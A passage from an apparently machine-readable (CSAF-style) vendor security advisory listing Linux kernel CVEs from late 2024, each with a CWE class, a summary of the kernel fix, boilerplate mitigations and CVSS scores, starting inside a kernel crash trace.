down_write_killable_nested+0x170/0x170\r\n[ T1205]  ? avc_policy_seqno+0x28/0x40\r\n[ T1205]  ? selinux_file_permission+0x1b4/0x1e0\r\n[ T1205]  rpc_pipe_write+0x84/0xb0\r\n[ T1205]  vfs_write+0x143/0x520\r\n[ T1205]  ksys_write+0xc9/0x170\r\n[ T1205]  ? __ia32_sys_read+0x50/0x50\r\n[ T1205]  ? ktime_get_coarse_real_ts64+0xfe/0x110\r\n[ T1205]  ? ktime_get_coarse_real_ts64+0xa2/0x110\r\n[ T1205]  do_syscall_64+0x33/0x40\r\n[ T1205]  entry_SYSCALL_64_after_hwframe+0x67/0xd1\r\n[ T1205] RIP: 0033:0x7fdbdb761bc7\r\n[ T1205] Code: 0f 00 f7 d8 64 89 02 48 c7 c0 ff ff ff ff eb b7 0f 1f 00 f3 0f 1e fa 64 8b 04 25 18 00 00 00 85 c0 75 10 b8 01 00 00 00 0f 05 \u003c48\u003e 3d 00 f0 ff ff 77 514\r\n[ T1205] RSP: 002b:00007fff8c4b7248 EFLAGS: 00000246 ORIG_RAX: 0000000000000001\r\n[ T1205] RAX: ffffffffffffffda RBX: 000000000000042b RCX: 00007fdbdb761bc7\r\n[ T1205] RDX: 000000000000042b RSI: 00007fff8c4b75f0 RDI: 0000000000000008\r\n[ T1205] RBP: 00007fdbdb761bb0 R08: 0000000000000000 R09: 0000000000000001\r\n[ T1205] R10: 0000000000000000 R11: 0000000000000246 R12: 000000000000042b\r\n[ T1205] R13: 0000000000000008 R14: 00007fff8c4b75f0 R15: 0000000000000000\r\n[ T1205] ==================================================================",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 6.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-47692"
    },
    {
      "cve": "CVE-2024-47696",
      "cwe": {
        "id": "CWE-416",
        "name": "Use After Free"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\r\n\r\nRDMA/iwcm: Fix WARNING:at_kernel/workqueue.c:#check_flush_dependency\r\n\r\nIn the commit aee2424246f9 (\"RDMA/iwcm: Fix a use-after-free related to destroying CM IDs\"), the function flush_workqueue is invoked to flush the work queue iwcm_wq.\r\n\r\nBut at that time, the work queue iwcm_wq was created via the function alloc_ordered_workqueue without the flag WQ_MEM_RECLAIM.\r\n\r\nBecause the current process is trying to flush the whole iwcm_wq, if iwcm_wq doesn\u0027t have the flag WQ_MEM_RECLAIM, verify that the current process is not reclaiming memory or running on a workqueue which doesn\u0027t have the flag WQ_MEM_RECLAIM as that can break forward-progress guarantee leading to a deadlock.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 7.8,
            "baseSeverity": "HIGH",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-47696"
    },
    {
      "cve": "CVE-2024-47697",
      "cwe": {
        "id": "CWE-787",
        "name": "Out-of-bounds Write"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\r\n\r\ndrivers: media: dvb-frontends/rtl2830: fix an out-of-bounds write error\r\n\r\nEnsure index in rtl2830_pid_filter does not exceed 31 to prevent out-of-bounds access.\r\n\r\ndev-\u003efilters is a 32-bit value, so set_bit and clear_bit functions should only operate on indices from 0 to 31. If index is 32, it will attempt to access a non-existent 33rd bit, leading to out-of-bounds access.\r\nChange the boundary check from index \u003e 32 to index \u003e= 32 to resolve this issue.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 7.8,
            "baseSeverity": "HIGH",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-47697"
    },
    {
      "cve": "CVE-2024-47699",
      "cwe": {
        "id": "CWE-476",
        "name": "NULL Pointer Dereference"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\r\n\r\nnilfs2: fix potential null-ptr-deref in nilfs_btree_insert()\r\n\r\nPatch series \"nilfs2: fix potential issues with empty b-tree nodes\".\r\n\r\nThis series addresses three potential issues with empty b-tree nodes that can occur with corrupted filesystem images, including one recently discovered by syzbot.\r\n\r\n\r\nThis patch (of 3):\r\n\r\nIf a b-tree is broken on the device, and the b-tree height is greater than 2 (the level of the root node is greater than 1) even if the number of child nodes of the b-tree root is 0, a NULL pointer dereference occurs in nilfs_btree_prepare_insert(), which is called from nilfs_btree_insert().\r\n\r\nThis is because, when the number of child nodes of the b-tree root is 0, nilfs_btree_do_lookup() does not set the block buffer head in any of path[x].bp_bh, leaving it as the initial value of NULL, but if the level of the b-tree root node is greater than 1, nilfs_btree_get_nonroot_node(), which accesses the buffer memory of path[x].bp_bh, is called.\r\n\r\nFix this issue by adding a check to nilfs_btree_root_broken(), which performs sanity checks when reading the root node from the device, to detect this inconsistency.\r\n\r\nThanks to Lizhi Xu for trying to solve the bug and clarifying the cause early on.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-47699"
    },
    {
      "cve": "CVE-2024-47701",
      "cwe": {
        "id": "CWE-416",
        "name": "Use After Free"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved: ext4: avoid OOB when system.data xattr changes underneath the filesystem.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 7.8,
            "baseSeverity": "HIGH",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-47701"
    },
    {
      "cve": "CVE-2024-47705",
      "cwe": {
        "id": "CWE-476",
        "name": "NULL Pointer Dereference"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\r\n\r\nblock: fix potential invalid pointer dereference in blk_add_partition\r\n\r\nThe blk_add_partition() function initially used a single if-condition (IS_ERR(part)) to check for errors when adding a partition. This was modified to handle the specific case of -ENXIO separately, allowing the function to proceed without logging the error in this case. However, this change unintentionally left a path where md_autodetect_dev() could be called without confirming that part is a valid pointer.\r\n\r\nThis commit separates the error handling logic by splitting the initial if-condition, improving code readability and handling specific error scenarios explicitly. The function now distinguishes the general error case from -ENXIO without altering the existing behavior of md_autodetect_dev() calls.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-47705"
    },
    {
      "cve": "CVE-2024-47706",
      "cwe": {
        "id": "CWE-416",
        "name": "Use After Free"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\r\n\r\nblock, bfq: fix possible UAF for bfqq-\u003ebic with merge chain\r\n\r\nIn this case, IO from Process 1 will get bfqq2 from BIC1 first, and then\r\nget bfqq3 through merge chain, and finially handle IO by bfqq3.\r\nHowerver, current code will think bfqq2 is owned by BIC1, like initial\r\nstate, and set bfqq2-\u003ebic to BIC1.\r\n\r\nAllocated by task 20776:\r\n kasan_save_stack+0x20/0x40 mm/kasan/common.c:45\r\n kasan_set_track+0x25/0x30 mm/kasan/common.c:52\r\n __kasan_slab_alloc+0x87/0x90 mm/kasan/common.c:328\r\n kasan_slab_alloc include/linux/kasan.h:188 [inline]\r\n slab_post_alloc_hook mm/slab.h:763 [inline]\r\n slab_alloc_node mm/slub.c:3458 [inline]\r\n kmem_cache_alloc_node+0x1a4/0x6f0 mm/slub.c:3503\r\n ioc_create_icq block/blk-ioc.c:370 [inline]\r\n---truncated---",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-47706"
    },
    {
      "cve": "CVE-2024-47707",
      "cwe": {
        "id": "CWE-476",
        "name": "NULL Pointer Dereference"
      },
      "notes": [
        {
          "category": "summary",
          "text": "ipv6: A NULL dereference vulnerability may occur in rt6_uncached_list_flush_dev() due to the necessary check being removed by a previous commit.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-47707"
    },
    {
      "cve": "CVE-2024-47709",
      "cwe": {
        "id": "CWE-825",
        "name": "Expired Pointer Dereference"
      },
      "notes": [
        {
          "category": "summary",
          "text": "can: bcm: A warning is triggered when connect() is issued again for a socket whose connect()ed device has been unregistered. However, if the socket is just close()d without the 2nd connect(), the remaining bo-\u003ebcm_proc_read triggers unnecessary remove_proc_entry() in bcm_release().",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-47709"
    },
    {
      "cve": "CVE-2024-47710",
      "cwe": {
        "id": "CWE-400",
        "name": "Uncontrolled Resource Consumption"
      },
      "notes": [
        {
          "category": "summary",
          "text": "sock_map: vulnerability result of adding a cond_resched() in sock_hash_free() to prevent CPU soft lockups when destroying maps with a large number of buckets.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-47710"
    },
    {
      "cve": "CVE-2024-47713",
      "cwe": {
        "id": "CWE-664",
        "name": "Improper Control of a Resource Through its Lifetime"
      },
      "notes": [
        {
          "category": "summary",
          "text": "wifi: mac80211: vulnerability caused by implementing a two-phase skb reclamation in ieee80211_do_stop() to avoid warnings and potential issues caused by calling __dev_queue_xmit() with interrupts disabled.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-47713"
    },
    {
      "cve": "CVE-2024-47718",
      "cwe": {
        "id": "CWE-416",
        "name": "Use After Free"
      },
      "notes": [
        {
          "category": "summary",
          "text": "wifi: rtw88: vulnerability may lead to a use-after-free (UAF) error if firmware loading is not properly synchronized during USB initialization and disconnection.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-47718"
    },
    {
      "cve": "CVE-2024-47723",
      "cwe": {
        "id": "CWE-125",
        "name": "Out-of-bounds Read"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\r\n\r\njfs: fix out-of-bounds in dbNextAG() and diAlloc()\r\n\r\nIn dbNextAG() , there is no check for the case where bmp-\u003edb_numag is greater or same than MAXAG due to a polluted image, which causes an out-of-bounds. Therefore, a bounds check should be added in dbMount().\r\n\r\nAnd in dbNextAG(), a check for the case where agpref is greater than bmp-\u003edb_numag should be added, so an out-of-bounds exception should be prevented.\r\n\r\nAdditionally, a check for the case where agno is greater or same than MAXAG should be added in diAlloc() to prevent out-of-bounds.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 7.1,
            "baseSeverity": "HIGH",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-47723"
    },
    {
      "cve": "CVE-2024-47735",
      "cwe": {
        "id": "CWE-667",
        "name": "Improper Locking"
      },
      "notes": [
        {
          "category": "summary",
          "text": "RDMA/hns: missuse of spin_lock_irq()/spin_unlock_irq() when spin_lock_irqsave()/spin_lock_irqrestore() was hold.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-47735"
    },
    {
      "cve": "CVE-2024-47737",
      "cwe": {
        "id": "CWE-476",
        "name": "NULL Pointer Dereference"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved: nfsd: call cache_put if xdr_reserve_space returns NULL.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-47737"
    },
    {
      "cve": "CVE-2024-47747",
      "cwe": {
        "id": "CWE-416",
        "name": "Use After Free"
      },
      "notes": [
        {
          "category": "summary",
          "text": "net: seeq: Fix use after free vulnerability in ether3 Driver Due to Race Condition. In the ether3_probe function, a timer is initialized with a callback function ether3_ledoff, bound to \u0026prev(dev)-\u003etimer. Once the timer is started, there is a risk of a race condition if the module or device is removed, triggering the ether3_remove function to perform cleanup.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-47747"
    },
    {
      "cve": "CVE-2024-49851",
      "cwe": {
        "id": "CWE-459",
        "name": "Incomplete Cleanup"
      },
      "notes": [
        {
          "category": "summary",
          "text": "tpm: Clean up TPM space after command failure tpm_dev_transmit prepares the TPM space before attempting command transmission. However if the command fails no rollback of this preparation is done. This can result in transient handles being leaked if the device is subsequently closed with no further commands performed.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-49851"
    },
    {
      "cve": "CVE-2024-49889",
      "cwe": {
        "id": "CWE-416",
        "name": "Use After Free"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\r\n\r\next4: avoid use-after-free in ext4_ext_show_leaf()\r\n\r\nIn ext4_find_extent(), path may be freed by error or be reallocated, so\r\nusing a previously saved *ppath may have been freed and thus may trigger\r\nuse-after-free, as follows:\r\n\r\next4_split_extent\r\n  path = *ppath;\r\n  ext4_split_extent_at(ppath)\r\n  path = ext4_find_extent(ppath)\r\n  ext4_split_extent_at(ppath)\r\n    // ext4_find_extent fails to free path\r\n    // but zeroout succeeds\r\n  ext4_ext_show_leaf(inode, path)\r\n    eh = path[depth].p_hdr\r\n    // path use-after-free !!!\r\n\r\nSimilar to ext4_split_extent_at(), we use *ppath directly as an input to\r\next4_ext_show_leaf(). Fix a spelling error by the way.\r\n\r\nSame problem in ext4_ext_handle_unwritten_extents(). Since \u0027path\u0027 is only\r\nused in ext4_ext_show_leaf(), remove \u0027path\u0027 and use *ppath directly.\r\n\r\nThis issue is triggered only when EXT_DEBUG is defined and therefore does\r\nnot affect functionality.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 7.8,
            "baseSeverity": "HIGH",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-49889"
    },
    {
      "cve": "CVE-2024-49890",
      "cwe": {
        "id": "CWE-476",
        "name": "NULL Pointer Dereference"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\r\n\r\ndrm/amd/pm: ensure the fw_info is not null before using it\r\n\r\nThis resolves the dereference null return value warning reported by Coverity.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-49890"
    },
    {
      "cve": "CVE-2024-49892",
      "cwe": {
        "id": "CWE-369",
        "name": "Divide By Zero"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\r\n\r\ndrm/amd/display: Initialize get_bytes_per_element\u0027s default to 1\r\n\r\nVariables, used as denominators and maybe not assigned to other values, should not be 0. bytes_per_element_y \u0026 bytes_per_element_c are initialized by get_bytes_per_element() which should never return 0.\r\n\r\nThis fixes 10 DIVIDE_BY_ZERO issues reported by Coverity.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-49892"
    },
    {
      "cve": "CVE-2024-49894",
      "cwe": {
        "id": "CWE-129",
        "name": "Improper Validation of Array Index"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\r\n\r\ndrm/amd/display: Fix index out of bounds in degamma hardware format translation\r\n\r\nFixes index out of bounds issue in\r\n`cm_helper_translate_curve_to_degamma_hw_format` function. The issue\r\ncould occur when the index \u0027i\u0027 exceeds the number of transfer function\r\npoints (TRANSFER_FUNC_POINTS).\r\n\r\nThe fix adds a check to ensure \u0027i\u0027 is within bounds before accessing the\r\ntransfer function points. If \u0027i\u0027 is out of bounds the function returns\r\nfalse to indicate an error.\r\n\r\nReported by smatch:\r\ndrivers/gpu/drm/amd/amdgpu/../display/dc/dcn10/dcn10_cm_common.c:594 cm_helper_translate_curve_to_degamma_hw_format() error: buffer overflow \u0027output_tf-\u003etf_pts.red\u0027 1025 \u003c= s32max\r\ndrivers/gpu/drm/amd/amdgpu/../display/dc/dcn10/dcn10_cm_common.c:595 cm_helper_translate_curve_to_degamma_hw_format() error: buffer overflow \u0027output_tf-\u003etf_pts.green\u0027 1025 \u003c= s32max\r\ndrivers/gpu/drm/amd/amdgpu/../display/dc/dcn10/dcn10_cm_common.c:596 cm_helper_translate_curve_to_degamma_hw_format() error: buffer overflow \u0027output_tf-\u003etf_pts.blue\u0027 1025 \u003c= s32max",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
